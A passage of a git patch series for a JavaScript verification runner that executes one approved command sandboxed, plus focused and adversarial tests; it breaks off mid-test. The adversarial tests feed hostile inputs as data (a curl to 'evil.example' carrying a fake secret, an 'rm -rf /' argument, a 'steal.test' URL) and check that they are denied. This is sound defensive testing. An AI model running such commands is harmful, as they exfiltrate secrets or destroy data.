freezeCandidateAudit(snapshot) { + return freezeRecord(CANDIDATE_AUDIT_KEYS, { + head_sha: snapshot.head_sha, + base_sha: snapshot.base_sha, + unchanged: true, + status_digest: snapshot.status_digest, + refs_digest: snapshot.refs_digest, + config_digest: snapshot.config_digest, + worktrees_digest: snapshot.worktrees_digest, + filesystem_digest: snapshot.filesystem_digest, + }); +} + +export async function executeConstrainedVerificationV1(input, options = {}) { + const request = parseRequest(input, 'request'); + const adapter = resolveAdapter(options, 'options'); + const intent = request.intent; + const candidate = request.candidate; + await assertExecutableSafe(adapter, intent.executable); + const filesystemBefore = await assertCandidateSafe(adapter, candidate); + const before = await snapshotCandidate(adapter, candidate, filesystemBefore, true); + let workspace; + let spawned = false; + const markSpawned = () => { + if (spawned) deny('one_execution_only', 'execution'); + spawned = true; + }; + try { + workspace = await createWorkspace(adapter, candidate); + const env = buildChildEnvironment(intent.environment); + const started = adapter.nowMs(); + if (typeof started !== 'number' || !NUMBER_IS_SAFE_INTEGER(started) || started < 0) { + deny('clock_denied', 'execution'); + } + const run = await runApprovedOnce(adapter, intent, workspace.path, env, markSpawned); + const ended = adapter.nowMs(); + if (typeof ended !== 'number' || !NUMBER_IS_SAFE_INTEGER(ended) || ended < started) { + deny('clock_denied', 'execution'); + } + const durationMs = ended - started; + const filesystemAfter = await assertCandidateSafe(adapter, candidate); + const after = await snapshotCandidate(adapter, candidate, filesystemAfter, false); + assertUnchanged(before, after); + await removeExactWorkspace(adapter, workspace); + workspace = undefined; + const acceptance = freezeAcceptanceObservation(intent, run, durationMs); + const git = freezeGitObservation(after, durationMs, intent.plan_identity.digest); + const observations = freezeRecord(OBSERVATION_KEYS, { acceptance, git_identity: git }); + const body = freezeRecord(RECEIPT_BODY_KEYS, { + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + command_id: intent.command_id, + intent_identity: intent.plan_identity, + policy_identity: intent.policy_identity, + outcome: freezeOutcome(run, durationMs), + candidate_audit: freezeCandidateAudit(after), + cleanup: freezeRecord(CLEANUP_KEYS, { status: 'removed' }), + observations, + facts: freezeFacts(acceptance, git), + }); + const executionIdentity = digestOf(VERIFICATION_EXECUTION_DIGEST_LABEL, body); + return freezeRecord(RECEIPT_RESULT_KEYS, { + schema: body.schema, + version: body.version, + command_id: body.command_id, + intent_identity: body.intent_identity, + policy_identity: body.policy_identity, + execution_identity: executionIdentity, + outcome: body.outcome, + candidate_audit: body.candidate_audit, + cleanup: body.cleanup, + observations: body.observations, + facts: body.facts, + }); + } catch (error) { + if (workspace !== undefined) { + try { + await removeExactWorkspace(adapter, workspace); + } catch (cleanupError) { + if (cleanupError && cleanupError.name === 'RunContractV1Error') throw cleanupError; + deny('cleanup_uncertain', 'cleanup'); + } + } + throw error; + } +} + +export const CONSTRAINED_VERIFICATION_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + label: VERIFICATION_EXECUTION_DIGEST_LABEL, + request_keys: REQUEST_ALLOWED_KEYS, + candidate_keys: CANDIDATE_ALLOWED_KEYS, + receipt_keys: RECEIPT_RESULT_KEYS, + git_executable: GIT_EXECUTABLE, + unshare_executable: UNSHARE_EXECUTABLE, + reported_results: REPORTED_RESULTS, + fact_kinds: capturedFreeze(['acceptance_results', 'git_identity']), + default_deny: capturedFreeze({ + shell: false, + env: capturedFreeze({}), + network: 'deny', + executions: 1, + }), +}); + +capturedFreeze(executeConstrainedVerificationV1); From 3064e38734666ac477d3a680a114b1cf026a9b5f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:33:07 +0000 Subject: [PATCH 63/81] test(verify): cover focused and adversarial runner surfaces Pin genuine-intent execution, exact argv, empty default env, host-observed fail vs stdout PASS, P13 fact projection, timeout/flood/signal/descendant fail-closed paths, candidate mutation and identity mismatch, exact workspace cleanup, default unshare network-deny execution, and hostile proxies, accessors, tampered receipts, allowlists, PATH lookup, and symlink/special-file denial. Tests inject spawn/Git/cleanup boundaries and use local fixtures only. --- ...nstrained-verification-runner-fixtures.mjs | 188 +++++++++ ...d-verification-runner-adversarial.test.mjs | 295 ++++++++++++++ ...1-constrained-verification-runner.test.mjs | 379 ++++++++++++++++++ 3 files changed, 862 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs new file mode 100644 index 0000000..0f1861e --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs @@ -0,0 +1,188 @@ +// Shared fixtures for the W16-P16C constrained verification-runner tests. +// Hostile local helpers and injected process/Git boundaries. No product +// imports beyond P16A/P16B and no real external network. + +import { EventEmitter } from 'node:events'; +import { chmod, lstat, mkdir, mkdtemp, realpath, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { PassThrough } from 'node:stream'; +import { execFile as execFileCallback } from 'node:child_process'; +import { promisify } from 'node:util'; + +import { resolveApprovedVerificationCommandV1 } from '../../mcp/v3/approved-verification-command.mjs'; +import { + countingProxy, + trapTotal, + validCommand, + validPolicy, +} from './r1-verification-policy-fixtures.mjs'; + +export { countingProxy, trapTotal, validCommand, validPolicy }; + +const execFile = promisify(execFileCallback); + +export const GIT_EXECUTABLE = '/usr/bin/git'; +export const TRUE_EXECUTABLE = '/usr/bin/true'; +export const HEAD_SHA_A = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; +export const HEAD_SHA_B = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; + +const GIT_ENV = { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P16C', + GIT_AUTHOR_EMAIL: 'p16c@example.test', + GIT_COMMITTER_NAME: 'P16C', + GIT_COMMITTER_EMAIL: 'p16c@example.test', + GIT_TERMINAL_PROMPT: '0', +}; + +export function gitIdentitySnapshot(overrides = {}) { + const head = overrides.head_sha ?? HEAD_SHA_A; + return { + head_sha: head, + status: '', + refs: `${head} refs/heads/main\n`, + config: 'user.email=p16c@example.test\n', + worktrees: `${overrides.gitdir ?? '/tmp/cce-p16c-candidate/.git'}\n`, + gitdir: overrides.gitdir ?? '/tmp/cce-p16c-candidate/.git', + ...overrides, + }; +} + +export function fakeChild(options = {}) { + const child = new EventEmitter(); + child.pid = options.pid ?? 4242; + child.stdout = new PassThrough(); + child.stderr = new PassThrough(); + child.killed = false; + child.kill = (signal) => { + child.killed = true; + if (options.hang === true && options.ignoreKill === true) return true; + const code = options.killCode === undefined ? null : options.killCode; + const sig = options.killSignal === undefined ? (signal ?? 'SIGTERM') : options.killSignal; + queueMicrotask(() => child.emit('exit', code, sig)); + return true; + }; + queueMicrotask(() => { + if (typeof child.emit === 'function') child.emit('spawn'); + if (options.stdout !== undefined) child.stdout.write(options.stdout); + if (options.stderr !== undefined) child.stderr.write(options.stderr); + if (options.floodBytes > 0) { + child.stdout.write(Buffer.alloc(options.floodBytes, 0x41)); + } + if (options.hang !== true) { + child.stdout.end(); + child.stderr.end(); + child.emit('exit', options.code ?? 0, options.signal ?? null); + } + }); + return child; +} + +export function recordingAdapter(overrides = {}) { + const calls = { + spawn: [], + mkdir: [], + rmdir: [], + kill: [], + }; + const adapter = { + nowMs: overrides.nowMs ?? (() => Date.now()), + randomId: overrides.randomId ?? (() => { + const bytes = new Uint8Array(16); + for (let index = 0; index < 16; index += 1) bytes[index] = Math.floor(Math.random() * 256); + return Buffer.from(bytes).toString('hex'); + }), + tmpRoot: overrides.tmpRoot ?? (() => path.resolve(tmpdir())), + lstat: overrides.lstat ?? ((target, options) => lstat(target, options ?? { bigint: true })), + mkdir: async (target, options) => { + calls.mkdir.push(target); + if (overrides.mkdir) return overrides.mkdir(target, options); + return mkdir(target, options); + }, + realpath: overrides.realpath ?? ((target) => realpath(target)), + rmdirExact: async (record) => { + calls.rmdir.push(record.path); + if (overrides.rmdirExact) return overrides.rmdirExact(record); + return rm(record.path, { recursive: true, force: false }); + }, + spawn: (file, args, options) => { + calls.spawn.push({ file, args, options }); + if (overrides.spawn) return overrides.spawn(file, args, options); + return fakeChild(overrides.child ?? {}); + }, + killProcessGroup: (pid, signal) => { + calls.kill.push({ pid, signal }); + if (overrides.killProcessGroup) return overrides.killProcessGroup(pid, signal); + }, + listDescendants: overrides.listDescendants ?? (async () => []), + }; + if (overrides.readGitIdentity) adapter.readGitIdentity = overrides.readGitIdentity; + else if (overrides.git) { + adapter.readGitIdentity = async () => overrides.git; + } + return { adapter, calls }; +} + +export async function makeTempRoot(prefix = 'cce-p16c-') { + return mkdtemp(path.join(tmpdir(), prefix)); +} + +export async function writeRunnable(file, body = '#!/bin/sh\nexit 0\n') { + await mkdir(path.dirname(file), { recursive: true }); + await writeFile(file, body, { encoding: 'utf8', mode: 0o755 }); + await chmod(file, 0o755); + return file; +} + +export async function initCandidateRepo(root) { + await mkdir(root, { recursive: true }); + await execFile(GIT_EXECUTABLE, ['init', '--initial-branch=main', root], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'config', 'user.email', 'p16c@example.test'], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'config', 'user.name', 'P16C'], { env: GIT_ENV }); + await writeFile(path.join(root, 'README'), 'p16c\n'); + await execFile(GIT_EXECUTABLE, ['-C', root, 'add', 'README'], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'commit', '-m', 'init'], { env: GIT_ENV }); + const { stdout } = await execFile( + GIT_EXECUTABLE, ['-C', root, 'rev-parse', 'HEAD'], { env: GIT_ENV }, + ); + return stdout.trim(); +} + +export function policyForExecutable(executable, overrides = {}) { + const command = { + executable, + argv_template: overrides.argv_template ?? ['ok'], + command_id: overrides.command_id ?? 'unit-tests', + }; + for (const key of ['timeout_ms', 'resources', 'environment', 'mutation', 'network', 'parameters']) { + if (Object.hasOwn(overrides, key) && overrides[key] !== undefined) { + command[key] = overrides[key]; + } + } + return validPolicy({ + commands: [validCommand(command)], + }); +} + +export function validSelection(overrides = {}) { + return { + command_id: 'unit-tests', + ...overrides, + }; +} + +export function genuineRequest({ policy, executable, candidate, selection, intentOverrides }) { + const resolvedPolicy = policy ?? policyForExecutable(executable); + const intent = resolveApprovedVerificationCommandV1({ + policy: resolvedPolicy, + selection: selection ?? validSelection(), + }); + return { + policy: resolvedPolicy, + intent: intentOverrides === undefined ? intent : { ...intent, ...intentOverrides }, + candidate, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs new file mode 100644 index 0000000..b517c61 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs @@ -0,0 +1,295 @@ +import assert from 'node:assert/strict'; +import { mkdir, rm, symlink } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { resolveApprovedVerificationCommandV1 } from '../mcp/v3/approved-verification-command.mjs'; +import { executeConstrainedVerificationV1 } from '../mcp/v3/constrained-verification-runner.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + TRUE_EXECUTABLE, + countingProxy, + genuineRequest, + gitIdentitySnapshot, + initCandidateRepo, + makeTempRoot, + policyForExecutable, + recordingAdapter, + trapTotal, + validPolicy, + validSelection, +} from './fixtures/r1-constrained-verification-runner-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(action) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +async function candidatePair() { + const root = await makeTempRoot(); + const candidate = path.join(root, 'candidate'); + const head = await initCandidateRepo(candidate); + return { root, candidate, head }; +} + +test('live and revoked proxies are denied with zero traps', async () => { + const { proxy, counts } = countingProxy({ + policy: validPolicy(), + intent: {}, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const { proxy: live, revoke } = Proxy.revocable({ + policy: validPolicy(), + intent: {}, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(live), true); + const revoked = await errorOf(() => executeConstrainedVerificationV1(live)); + assert.equal(revoked.code, 'proxy_denied'); + assert.equal(revoked.message.includes('revoked get'), false); +}); + +test('accessor properties never run and hostile keys stay content-free', async () => { + let reads = 0; + const input = { + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }; + Object.defineProperty(input, 'policy', { + enumerable: true, + get() { + reads += 1; + return validPolicy(); + }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const secret = 'sk-attacker-secret-value'; + const keyed = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate' }, + [secret]: `/bin/bash -c curl https://evil.example/${secret}`, + })); + assert.equal(keyed.message.includes(secret), false); + assert.equal(keyed.message.includes('bash'), false); + assert.equal(keyed.message.includes('https://'), false); + assert.equal(keyed.message.includes('evil.example'), false); +}); + +test('provider, profile, and argv substitutions cannot authorize execution', async () => { + const intent = resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }); + const provider = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + provider: 'grok', + })); + assert.equal(provider.code, 'authority_denied'); + + const selection = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + selection: { command_id: 'unit-tests', argv: ['-c', 'rm -rf /'] }, + })); + assert.equal(selection.code, 'executable_content_denied'); + + const profile = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + profile: { command: '/bin/sh' }, + })); + assert.equal(profile.code, 'authority_denied'); +}); + +test('a tampered P16B receipt is not genuine even when keys look complete', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const policy = policyForExecutable(TRUE_EXECUTABLE); + const intent = resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + }); + const tampered = JSON.parse(JSON.stringify(intent)); + tampered.argv = ['ok', '--injected']; + const error = await errorOf(() => executeConstrainedVerificationV1({ + policy, + intent: tampered, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(error.code, 'intent_not_genuine'); + + const otherPolicy = policyForExecutable(TRUE_EXECUTABLE, { command_id: 'other-tests' }); + const mismatch = await errorOf(() => executeConstrainedVerificationV1({ + policy: otherPolicy, + intent, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(mismatch.code, 'intent_not_genuine'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('network allowlists and PATH lookup are denied', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const allow = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE, { + network: { mode: 'allowlist', hosts: ['example.test'] }, + }), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(allow.code, 'network_allowlist_unsupported'); + assert.equal(allow.message.includes('example.test'), false); + + const relative = JSON.parse(JSON.stringify(resolveApprovedVerificationCommandV1({ + policy: policyForExecutable(TRUE_EXECUTABLE), + selection: validSelection(), + }))); + relative.executable = 'true'; + const lookup = await errorOf(() => executeConstrainedVerificationV1({ + policy: policyForExecutable(TRUE_EXECUTABLE), + intent: relative, + candidate: { repository: candidate, expected_head_sha: head }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(lookup.code, 'intent_not_genuine'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('cleanup identity swap never deletes the candidate or unresolved paths', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const deleted = []; + let workspacePath; + const base = recordingAdapter({ + child: { code: 0 }, + git: gitIdentitySnapshot({ head_sha: head, gitdir: `${candidate}/.git` }), + }); + const realLstat = (await import('node:fs/promises')).lstat; + const realMkdir = (await import('node:fs/promises')).mkdir; + const realRealpath = (await import('node:fs/promises')).realpath; + const adapter = { + ...base.adapter, + mkdir: async (target, options) => { + workspacePath = target; + return realMkdir(target, options); + }, + lstat: async (target, options) => { + const entry = await realLstat(target, options); + if (workspacePath !== undefined && target === workspacePath && deleted.length === 0 + && base.calls.spawn.length > 0) { + return { ...entry, ino: entry.ino + 1n, isSymbolicLink: () => false, isDirectory: () => true, isFile: () => false }; + } + return entry; + }, + realpath: (target) => realRealpath(target), + rmdirExact: async (record) => { + deleted.push(record.path); + }, + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(deleted.length, 0); + assert.equal(deleted.includes(candidate), false); + assert.equal(deleted.includes('/'), false); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('shell metacharacters, merge/push keys, and special workspace files are denied', async () => { + const intent = resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }); + const shell = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + shell: 'bash -c true', + })); + assert.equal(shell.code, 'executable_content_denied'); + + const merge = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + push: true, + })); + assert.ok(merge.code === 'unknown_key' || merge.code === 'mutation_permission_denied'); +}); + +test('a candidate gitdir symlink is denied before spawn', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const decoy = path.join(root, 'decoy.git'); + await mkdir(decoy); + const gitPath = path.join(candidate, '.git'); + await rm(gitPath, { recursive: true, force: true }); + await symlink(decoy, gitPath); + const error = await errorOf(() => executeConstrainedVerificationV1(genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }), { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(error.code, 'symlink_denied'); + assert.equal(recordingAdapter().calls.spawn.length, 0); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('failures never echo native stacks, URLs, or attacker argv', async () => { + const error = await errorOf(() => executeConstrainedVerificationV1({ + policy: validPolicy(), + intent: resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + }), + candidate: { repository: '/tmp/cce-p16c-candidate', url: 'https://steal.test' }, + })); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); + assert.equal(error.message.includes('TypeError'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs new file mode 100644 index 0000000..25d3a91 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs @@ -0,0 +1,379 @@ +import assert from 'node:assert/strict'; +import { readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { parseEvidenceBundleV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CONSTRAINED_VERIFICATION_SCHEMA_ID, + CONSTRAINED_VERIFICATION_VERSION, + GIT_EXECUTABLE, + UNSHARE_EXECUTABLE, + VERIFICATION_EXECUTION_DIGEST_LABEL, + executeConstrainedVerificationV1, +} from '../mcp/v3/constrained-verification-runner.mjs'; +import { + SHA_DIFF, + SHA_INPUT, + SHA_OUTPUT, + acceptanceRef, + payloadDigest, + reportRef, + validArtifactRef, + validBundle, + validClaim, + validFact, + validGitIdentityFact, +} from './fixtures/r1-evidence-fixtures.mjs'; +import { + TRUE_EXECUTABLE, + fakeChild, + genuineRequest, + gitIdentitySnapshot, + initCandidateRepo, + makeTempRoot, + policyForExecutable, + recordingAdapter, +} from './fixtures/r1-constrained-verification-runner-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(action) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +async function withHarness(fn, options = {}) { + const root = await makeTempRoot(); + const candidate = path.join(root, 'candidate'); + const executable = options.executable ?? TRUE_EXECUTABLE; + try { + const head = await initCandidateRepo(candidate); + const policy = options.policy ?? policyForExecutable(executable, options.command ?? {}); + const request = genuineRequest({ + policy, + executable, + candidate: { + repository: candidate, + expected_head_sha: head, + expected_base_sha: head, + }, + selection: options.selection, + }); + return await fn({ root, candidate, head, request, policy }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(CONSTRAINED_VERIFICATION_SCHEMA_ID, + 'codex-co-engineer.constrained-verification.v1'); + assert.equal(CONSTRAINED_VERIFICATION_VERSION, 1); + assert.equal(CONSTRAINED_VERIFICATION_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(VERIFICATION_EXECUTION_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); + assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); + assert.equal(UNSHARE_EXECUTABLE, '/usr/bin/unshare'); +}); + +test('a genuine P16B intent executes once with shell=false, empty env, and exact argv', async () => { + await withHarness(async ({ request, candidate, head }) => { + const { adapter, calls } = recordingAdapter({ + child: { code: 0, stdout: Buffer.from('PASS\n') }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(receipt.schema, CONSTRAINED_VERIFICATION_SCHEMA_ID); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + assert.equal(receipt.outcome.termination, 'exited'); + assert.equal(receipt.outcome.stdout_truncated, false); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(receipt.candidate_audit.unchanged, true); + assert.equal(receipt.candidate_audit.head_sha, head); + assert.equal(receipt.execution_identity.domain, IDENTITY_DOMAIN); + assert.equal(receipt.execution_identity.label, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); + assert.equal(receipt.observations.acceptance.payload.result, 'pass'); + assert.equal(receipt.observations.acceptance.method, 'approved_command_execution'); + assert.equal(receipt.observations.git_identity.method, 'read_only_no_changes'); + assert.equal(calls.spawn.length, 1); + assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); + assert.deepEqual(calls.spawn[0].args, ['ok']); + assert.equal(calls.spawn[0].options.shell, false); + assert.deepEqual(calls.spawn[0].options.env, {}); + assert.equal(calls.spawn[0].options.networkMode, 'deny'); + assert.equal(calls.spawn[0].options.cwd === candidate, false); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { receipt.outcome.result = 'fail'; }, TypeError); + }); +}); + +test('stdout claiming PASS is ignored when the host-observed exit code is non-zero', async () => { + await withHarness(async ({ request }) => { + const { adapter } = recordingAdapter({ + child: { code: 1, stdout: Buffer.from('PASS\nall tests passed\n') }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.outcome.result, 'fail'); + assert.equal(receipt.outcome.exit_code, 1); + assert.equal(receipt.observations.acceptance.payload.result, 'fail'); + assert.equal(JSON.stringify(receipt).includes('PASS'), false); + assert.equal(JSON.stringify(receipt).includes('all tests passed'), false); + }); +}); + +test('P13 fact projections compose into an evidence bundle without trusting provider PASS', async () => { + await withHarness(async ({ request, head }) => { + const { adapter } = recordingAdapter({ child: { code: 0 } }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + const acceptance = receipt.observations.acceptance; + const git = receipt.observations.git_identity; + const acceptFact = validFact({ + payload: acceptance.payload, + payload_digest: acceptance.payload_digest, + input_digest: SHA_INPUT, + output_digest: SHA_OUTPUT, + exit_code: acceptance.exit_code, + duration_ms: acceptance.duration_ms, + truncated: false, + authority: acceptance.authority, + method: acceptance.method, + }); + const gitFact = validGitIdentityFact({ + payload: git.payload, + payload_digest: git.payload_digest, + method: git.method, + authority: git.authority, + artifact_digests: [SHA_DIFF], + }); + assert.equal(git.payload.head_sha, head); + const bundle = validBundle({ + repository: { path: request.candidate.repository, base_sha: head }, + candidate: { sha: head }, + claims: [validClaim({ payload: { result: 'pass' }, payload_digest: payloadDigest({ result: 'pass' }) })], + facts: [acceptFact, gitFact], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + }); + const snapshot = parseEvidenceBundleV1(bundle); + assert.equal(snapshot.final_state, 'pass'); + assert.equal(snapshot.facts[0].method, 'approved_command_execution'); + assert.equal(snapshot.facts[0].payload.result, 'pass'); + }); +}); + +test('provider-reported PASS without a matching host-observed fact cannot be accepted', async () => { + await withHarness(async ({ request, head }) => { + const { adapter } = recordingAdapter({ child: { code: 1, stdout: Buffer.from('PASS') } }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + const forged = validBundle({ + repository: { path: request.candidate.repository, base_sha: head }, + candidate: { sha: head }, + claims: [validClaim({ payload: { result: 'pass' }, payload_digest: payloadDigest({ result: 'pass' }) })], + facts: [validFact({ + payload: receipt.observations.acceptance.payload, + payload_digest: receipt.observations.acceptance.payload_digest, + exit_code: 1, + }), validGitIdentityFact({ + payload: receipt.observations.git_identity.payload, + payload_digest: receipt.observations.git_identity.payload_digest, + })], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + }); + const error = await errorOf(() => parseEvidenceBundleV1(forged)); + assert.ok( + error.code === 'unproven_accepted_state' || error.code === 'invalid_format', + error.code, + ); + }); +}); + +test('policy-authorized env entries are the only child environment and PATH is absent', async () => { + await withHarness(async ({ request }) => { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + await executeConstrainedVerificationV1(request, { adapter }); + assert.deepEqual(calls.spawn[0].options.env, { TZ: 'UTC' }); + assert.equal(Object.hasOwn(calls.spawn[0].options.env, 'PATH'), false); + }, { + command: { + environment: { entries: [{ name: 'TZ', value: 'UTC' }] }, + }, + }); +}); + +test('timeout, output flood, signal ambiguity, and escaped descendants fail closed', async () => { + await withHarness(async ({ request }) => { + const hanging = recordingAdapter({ + spawn: () => fakeChild({ hang: true, ignoreKill: true, pid: 99 }), + listDescendants: async () => [], + }); + const timeoutError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: hanging.adapter, + })); + assert.equal(timeoutError.code, 'timeout'); + + const flood = recordingAdapter({ + child: { floodBytes: 80, code: 0 }, + }); + const floodError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: flood.adapter, + })); + assert.equal(floodError.code, 'output_flood'); + + const ambiguous = recordingAdapter({ + child: { code: 0, signal: 'SIGTERM' }, + }); + const ambiguousError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: ambiguous.adapter, + })); + assert.equal(ambiguousError.code, 'signal_ambiguous'); + + const escaped = recordingAdapter({ + child: { code: 0, pid: 50 }, + listDescendants: async () => [51], + }); + const escapedError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: escaped.adapter, + })); + assert.equal(escapedError.code, 'escaped_descendants'); + }, { + command: { + timeout_ms: 1000, + resources: { max_output_bytes: 16, max_error_bytes: 16 }, + }, + }); +}); + +test('candidate mutation and identity mismatch fail closed without a pass receipt', async () => { + await withHarness(async ({ request, head }) => { + let calls = 0; + const { adapter } = recordingAdapter({ + child: { code: 0 }, + readGitIdentity: async () => { + calls += 1; + if (calls === 1) return gitIdentitySnapshot({ head_sha: head, gitdir: `${request.candidate.repository}/.git` }); + return gitIdentitySnapshot({ head_sha: 'cccccccccccccccccccccccccccccccccccccccc', gitdir: `${request.candidate.repository}/.git` }); + }, + }); + const mutated = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + 